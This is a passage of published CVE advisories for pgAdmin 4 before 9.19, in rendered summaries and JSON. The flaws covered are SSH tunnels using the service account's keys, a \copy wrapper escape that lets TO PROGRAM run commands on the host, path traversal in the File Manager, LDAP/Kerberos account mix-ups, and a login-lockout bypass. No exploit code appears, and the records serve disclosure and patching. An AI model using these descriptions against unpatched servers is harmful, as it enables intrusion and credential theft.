"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Utility binary path can point at a shared storage directory"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116243",
"datePublished": "2026-10-30T19:55:14.513Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:14.513Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116242 (GCVE-0-2026-116242)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
8.2 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4 opens SSH tunnels with the sshtunnel library but gave it neither host_pkey_directories nor ssh_config_file, so it always loaded the unencrypted private keys in ~/.ssh of the operating-system account running pgAdmin, read that account's ~/.ssh/config (IdentityFile, User, HostName, ProxyCommand) for the tunnel host, and could use its ssh-agent. In server mode any user could therefore configure a tunnel to a host that accepts the service account's key, with no credentials of their own or with an identity file that did not exist in their storage, and reach it as that account.
The fix makes tunnels in server mode use only the identity file or password the user configured: the service account's keys, configuration and agent are no longer used, and an identity file that cannot be found in the user's storage is reported instead of falling back to ~/.ssh. Desktop mode is unchanged.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Servers"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/driver/psycopg3/server_manager.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4 opens SSH tunnels with the sshtunnel library but gave it neither host_pkey_directories nor ssh_config_file, so it always loaded the unencrypted private keys in ~/.ssh of the operating-system account running pgAdmin, read that account\u0027s ~/.ssh/config (IdentityFile, User, HostName, ProxyCommand) for the tunnel host, and could use its ssh-agent. In server mode any user could therefore configure a tunnel to a host that accepts the service account\u0027s key, with no credentials of their own or with an identity file that did not exist in their storage, and reach it as that account.\n\nThe fix makes tunnels in server mode use only the identity file or password the user configured: the service account\u0027s keys, configuration and agent are no longer used, and an identity file that cannot be found in the user\u0027s storage is reported instead of falling back to ~/.ssh. Desktop mode is unchanged.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Any authenticated user who can register a server with an SSH tunnel. Attack Complexity is High: the service account must have an unencrypted default key, agent or configuration that a host the attacker can name accepts. Scope is Changed because the tunnel authenticates as the service account to another system, an identity the attacker was never granted; Confidentiality and Integrity are High for the access it gives. Availability is None."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the service account\u0027s SSH identity and an accepting host. VC:H because the service account\u0027s key is used through pgAdmin; SC:H/SI:H for the SSH host and the network reached through it."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-1188",
"description": "CWE-1188 Initialization of a Resource with an Insecure Default",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:13.843Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10662"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/d52fe4740eb1af89d940f2e412bd66a0a89f08bb"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: SSH tunnels use the pgAdmin service account\u0027s own SSH identity"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116242",
"datePublished": "2026-10-30T19:55:13.843Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:13.843Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116241 (GCVE-0-2026-116241)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4's Import/Export Data tool wraps a user's query export in a psql \copy (...) TO command and checks that the query's parentheses are balanced so that nothing can escape the wrapper. The check rejected a backslash inside a single-quoted string, but not inside a double-quoted identifier, where it treated the next double quote as closing the identifier. psql's \copy parser applies the connection's escape character to whichever quote opened a token, so with standard_conforming_strings off a backslash-escaped double quote does not close the identifier. pgAdmin's and psql's view of the quoting then diverged, a closing parenthesis hidden from the check ended the \copy (...) wrapper, and a following TO PROGRAM clause was executed by psql on the pgAdmin host, as the operating-system account running pgAdmin, before the server rejected the statement. An ordinary database role can turn standard_conforming_strings off for itself, and the Import/Export Data permission is granted to non-administrators by default.
This is a bypass of the fix for CVE-2026-17566. The fix rejects any backslash inside a double-quoted identifier, as was already done for single-quoted strings, since its meaning depends on a server setting that cannot be known reliably when the query is validated.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Import/Export Data"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/import_export/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Yonghwa Lee (Xint by Theori) \u003cunderdog@theori.io\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4\u0027s Import/Export Data tool wraps a user\u0027s query export in a psql \\copy (...) TO command and checks that the query\u0027s parentheses are balanced so that nothing can escape the wrapper. The check rejected a backslash inside a single-quoted string, but not inside a double-quoted identifier, where it treated the next double quote as closing the identifier. psql\u0027s \\copy parser applies the connection\u0027s escape character to whichever quote opened a token, so with standard_conforming_strings off a backslash-escaped double quote does not close the identifier. pgAdmin\u0027s and psql\u0027s view of the quoting then diverged, a closing parenthesis hidden from the check ended the \\copy (...) wrapper, and a following TO PROGRAM clause was executed by psql on the pgAdmin host, as the operating-system account running pgAdmin, before the server rejected the statement. An ordinary database role can turn standard_conforming_strings off for itself, and the Import/Export Data permission is granted to non-administrators by default.\n\nThis is a bypass of the fix for CVE-2026-17566. The fix rejects any backslash inside a double-quoted identifier, as was already done for single-quoted strings, since its meaning depends on a server setting that cannot be known reliably when the query is validated.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same threat model and outcome as CVE-2026-17566, of which this is a bypass: any authenticated user with the Import/Export Data permission (granted by default) and an ordinary database role, which can set standard_conforming_strings itself, so Attack Complexity is Low. Confidentiality, Integrity and Availability are High for command execution on the pgAdmin host. Scope is Changed, as for CVE-2026-17566, because the command runs on the pgAdmin host rather than within the database server the user is connected to."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry and the same vector as CVE-2026-17566. AT:N because no condition outside the attacker\u0027s control is needed. VC/VI/VA:H for the pgAdmin host and SC/SI/SA:H for the systems reachable from it with its credentials."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-115",
"description": "CWE-115 Misinterpretation of Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:13.194Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10663"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/9be31a019f780647fb689c458408c8803263c812"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Import/Export Data query export runs a command through a backslash in a double-quoted identifier"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116241",
"datePublished": "2026-10-30T19:55:13.194Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:13.194Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116240 (GCVE-0-2026-116240)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
In server mode pgAdmin 4 validates a path into the user's storage directory with check_access_permission(), which builds the absolute path with get_abs_path(). Several callers then acted on a path they built differently, so the path checked and the path used could name different files:
- Opening a file in the Query Tool, the Google client secret and, on Windows, Import/Export Data, Backup, Restore and saving a file joined the path to the storage directory after stripping leading slashes and backslashes. On POSIX a path checked as a name inside storage could become an absolute path once stripped, so any file the pgAdmin account can read could be opened; on Windows a path naming a drive discarded the storage directory, so these could read, or write, outside it.
- Listing a folder decoded the path a second time after the check, so a folder named like an encoded "..", which a user can create, listed any directory on the host.
- Download, delete, rename and the file-exists check appended the path to the storage directory without a separator, so in a deployment where one user's storage directory name is a prefix of another's, another user's files could be read, deleted or moved; download also checked the path appended to itself.
- Creating a folder could create one in another user's directory.
The fix makes check_access_permission() return the path it checked and every caller act on that path, decodes folder paths once, and opens, deletes and renames files relative to directories opened from the storage directory without following symbolic links. Desktop mode is not affected.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"File Manager",
"Import/Export Data",
"Backup",
"Restore",
"Query Tool"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/file_manager/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In server mode pgAdmin 4 validates a path into the user\u0027s storage directory with check_access_permission(), which builds the absolute path with get_abs_path(). Several callers then acted on a path they built differently, so the path checked and the path used could name different files:\n\n- Opening a file in the Query Tool, the Google client secret and, on Windows, Import/Export Data, Backup, Restore and saving a file joined the path to the storage directory after stripping leading slashes and backslashes. On POSIX a path checked as a name inside storage could become an absolute path once stripped, so any file the pgAdmin account can read could be opened; on Windows a path naming a drive discarded the storage directory, so these could read, or write, outside it.\n- Listing a folder decoded the path a second time after the check, so a folder named like an encoded \"..\", which a user can create, listed any directory on the host.\n- Download, delete, rename and the file-exists check appended the path to the storage directory without a separator, so in a deployment where one user\u0027s storage directory name is a prefix of another\u0027s, another user\u0027s files could be read, deleted or moved; download also checked the path appended to itself.\n- Creating a folder could create one in another user\u0027s directory.\n\nThe fix makes check_access_permission() return the path it checked and every caller act on that path, decodes folder paths once, and opens, deletes and renames files relative to directories opened from the storage directory without following symbolic links. Desktop mode is not affected.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Scored for the worst variant, which needs only an authenticated user in server mode: reading any file the pgAdmin account can read through the Query Tool\u0027s file open, and listing any directory. Attack Complexity is Low. Confidentiality is High because that includes pgAdmin\u0027s own configuration and database. Integrity is None for this variant; the read, delete and rename of another user\u0027s files need a deployment where one user\u0027s storage directory name is a prefix of another\u0027s, and the write outside storage is limited to Windows server mode. Scope is Unchanged: the access is with the authority of the pgAdmin account."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:N for the any-file read, which needs no deployment condition. VC:H; no subsequent-system impact is claimed."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-367",
"description": "CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:12.603Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10674"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/ad6c028cff625a095676065767c7b80219205d28"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: File Manager and storage-path tools act on a different path from the one checked"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116240",
"datePublished": "2026-10-30T19:55:12.603Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:12.603Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116239 (GCVE-0-2026-116239)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
8.5 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
8.9 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N
8.9 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
Summary
In server mode pgAdmin 4 keeps an account per authentication source, so the same username can exist as, for example, an internal account and an LDAP account. After LDAP or Kerberos authenticated a user, pgAdmin chose the account to log in by username alone, or took the account Flask-Security's login form had looked up, without checking that it came from the source that authenticated the user. The session therefore belonged to another account, with its role, its servers and its saved database passwords:
- An LDAP or Kerberos user whose username matched an internal account was logged in as that internal account, including the administrator account created when pgAdmin is first set up.
- With internal authentication listed before LDAP or Kerberos in AUTHENTICATION_SOURCES, the login form's internal validation looks up the account whose email was typed and keeps it even though its password does not match. A Kerberos user could type another Kerberos user's principal and be logged in as that user, and an LDAP user could do the same with an LDAP account whose email is their username.
Exploitation requires valid credentials for an LDAP directory or Kerberos realm that pgAdmin is configured to use.
The fix looks the account up by the authenticated username and the source that authenticated it, and no longer uses the account the login form found for any source but internal authentication. Internal authentication logs in that account only if it is an internal account. Desktop mode is not affected.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Authentication"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/authenticate/ldap.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/authenticate/internal.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Yves Soete of Blacksight LLC \u003cyves.soete@blacksight.io\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In server mode pgAdmin 4 keeps an account per authentication source, so the same username can exist as, for example, an internal account and an LDAP account. After LDAP or Kerberos authenticated a user, pgAdmin chose the account to log in by username alone, or took the account Flask-Security\u0027s login form had looked up, without checking that it came from the source that authenticated the user. The session therefore belonged to another account, with its role, its servers and its saved database passwords:\n\n- An LDAP or Kerberos user whose username matched an internal account was logged in as that internal account, including the administrator account created when pgAdmin is first set up.\n- With internal authentication listed before LDAP or Kerberos in AUTHENTICATION_SOURCES, the login form\u0027s internal validation looks up the account whose email was typed and keeps it even though its password does not match. A Kerberos user could type another Kerberos user\u0027s principal and be logged in as that user, and an LDAP user could do the same with an LDAP account whose email is their username.\n\nExploitation requires valid credentials for an LDAP directory or Kerberos realm that pgAdmin is configured to use.\n\nThe fix looks the account up by the authenticated username and the source that authenticated it, and no longer uses the account the login form found for any source but internal authentication. Internal authentication logs in that account only if it is an internal account. Desktop mode is not affected.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The attacker needs valid credentials in the configured LDAP directory or Kerberos realm, so Privileges Required is Low. Attack Complexity is High: the attacker\u0027s directory username must match the target account\u0027s username, which a directory user does not normally choose, or, for the typed-principal variant, internal authentication must be listed before Kerberos. The session is the target account\u0027s, possibly the initial administrator\u0027s, so Confidentiality, Integrity and Availability of pgAdmin are High (an administrator can create, change and delete users). Scope is Changed because the session uses the target account\u0027s saved database passwords, connecting to PostgreSQL servers as a role the attacker was never given."
}
]
},
{
"cvssV4_0": {
"baseScore": 8.9,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the username collision or the order of AUTHENTICATION_SOURCES. VC:H/VI:H/VA:H for the target pgAdmin account; SC:H/SI:H for the PostgreSQL servers reached with its saved credentials."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-287",
"description": "CWE-287 Improper Authentication",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-639",
"description": "CWE-639 Authorization Bypass Through User-Controlled Key",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:12.002Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10675"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/7378060e5c8f7c3279b8138d371e13fd8b45a729"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/269e32d5ee01f2eb5de36e464d44487a831f2424"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: An LDAP or Kerberos login is logged in to another account with the same username"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116239",
"datePublished": "2026-10-30T19:55:12.002Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:12.002Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116238 (GCVE-0-2026-116238)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.2 (Critical) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
9.2 (Critical) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
In server mode pgAdmin 4 locks an internal account after MAX_LOGIN_ATTEMPTS failed logins (3 by default). The limit could be bypassed, giving an unauthenticated attacker an unlimited number of password guesses against any internal account, including the administrator's, in the default configuration:
- Flask-Security registers its own views next to pgAdmin's. A login submitted to its /login view was checked and logged in without pgAdmin's failed login count or lock. Its /verify view checked a signed-in user's password without limit, its /change view changed a password without pgAdmin's change password permission or re-encrypting the user's saved server passwords, and its /reset views sent and applied password resets for accounts that are not internal or are locked.
- The internal account was looked up by its exact username, while the login form matches the email ignoring case, so a login with the username typed in another case was neither counted nor checked for the lock.
- With LDAP or webserver authentication also configured, a wrong internal password was never counted, and with Kerberos or webserver authentication configured a guess could be answered without being counted.
In addition, where accounts from different authentication sources share an email address, a password reset could be sent for, or applied to, an account from another source, and the About box showed the server configuration to a user whose email was that of an administrator's account.
The fix refuses submissions to Flask-Security's own views, counts every failed internal login however the username is typed and whatever other sources are configured, no longer lets a login that posts a password fall back to an authentication source that does not check it, and locks only internal authentication. Password resets and the About box act only on the user's own internal account. Desktop mode is not affected.
This issue affects pgAdmin 4: before 9.19.
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Authentication",
"Password Recovery",
"User Management"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/authenticate/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/about/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In server mode pgAdmin 4 locks an internal account after MAX_LOGIN_ATTEMPTS failed logins (3 by default). The limit could be bypassed, giving an unauthenticated attacker an unlimited number of password guesses against any internal account, including the administrator\u0027s, in the default configuration:\n\n- Flask-Security registers its own views next to pgAdmin\u0027s. A login submitted to its /login view was checked and logged in without pgAdmin\u0027s failed login count or lock. Its /verify view checked a signed-in user\u0027s password without limit, its /change view changed a password without pgAdmin\u0027s change password permission or re-encrypting the user\u0027s saved server passwords, and its /reset views sent and applied password resets for accounts that are not internal or are locked.\n- The internal account was looked up by its exact username, while the login form matches the email ignoring case, so a login with the username typed in another case was neither counted nor checked for the lock.\n- With LDAP or webserver authentication also configured, a wrong internal password was never counted, and with Kerberos or webserver authentication configured a guess could be answered without being counted.\n\nIn addition, where accounts from different authentication sources share an email address, a password reset could be sent for, or applied to, an account from another source, and the About box showed the server configuration to a user whose email was that of an administrator\u0027s account.\n\nThe fix refuses submissions to Flask-Security\u0027s own views, counts every failed internal login however the username is typed and whatever other sources are configured, no longer lets a login that posts a password fall 